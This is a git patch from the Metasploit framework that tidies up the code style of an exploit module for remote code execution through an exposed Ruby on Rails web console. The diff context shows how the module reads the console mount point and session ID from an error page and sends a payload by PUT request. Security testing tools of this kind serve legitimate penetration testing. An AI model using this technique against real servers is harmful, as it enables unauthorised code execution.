From 2abb062070ab36415ef7c95c89af11fab8c0b964 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Fri, 6 May 2016 11:49:45 -0500
Subject: [PATCH] Clean up module

---
 .../http/rails_web_console_v2_code_exec.rb    | 25 ++++++++-----------
 1 file changed, 10 insertions(+), 15 deletions(-)

diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
index ead6381ad8..84b141ad3e 100644
--- a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
+++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
@@ -27,46 +27,44 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'       => 'ruby',
       'Arch'           => ARCH_RUBY,
       'Privileged'     => false,
-      'Targets'        =>	[ ['Automatic', {} ] ],
-      'DefaultOptions' => { "PrependFork" => true },
+      'Targets'        => [ ['Automatic', {} ] ],
+      'DefaultOptions' => { 'PrependFork' => true },
       'DisclosureDate' => 'May 2 2016',
       'DefaultTarget' => 0))
 
     register_options(
       [
         Opt::RPORT(3000),
-        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/missing404"])
+        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
       ], self.class)
-
   end
 
   #
   # Identify the web console path and session ID, then inject code with it
   #
   def exploit
-
     res = send_request_cgi({
       'uri'     => normalize_uri(target_uri.path),
       'method'  => 'GET'
     }, 25)
 
-    if ! res
+    unless res
       print_error("Error: No response requesting #{datastore['TARGETURI']}")
       return
     end
 
-    if res.body.to_s !~ /data-mount-point='([^']+)'/
-      if res.body.to_s.index("Application Trace") && res.body.to_s.index("Toggle session dump")
-        print_error("Error: The web console is either disabled or you are not in the whitelisted scope")
+    unless res.body.to_s =~ /data-mount-point='([^']+)'/
+      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
+        print_error('Error: The web console is either disabled or you are not in the whitelisted scope')
       else
         print_error("Error: No rails stack trace found requesting #{datastore['TARGETURI']}")
       end
       return
     end
 
-    console_path = $1 + "/repl_sessions"
+    console_path = normalize_uri($1, 'repl_sessions')
 
-    if res.body.to_s !~ /data-session-id='([^']+)'/
+    unless res.body.to_s =~ /data-session-id='([^']+)'/
       print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
       return
     end
@@ -75,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Sending payload to #{console_path}/#{session_id}")
     res = send_request_cgi({
-      'uri'       => console_path + "/" + session_id,
+      'uri'       => normalize_uri(console_path, session_id),
       'method'    => 'PUT',
       'headers'   => {
         'Accept'           => 'application/vnd.web-console.v2',
@@ -84,9 +82,6 @@ class MetasploitModule < Msf::Exploit::Remote
       'vars_post' => {
         'input' => payload.encoded
       }
-
     }, 25)
-
-    handler
   end
 end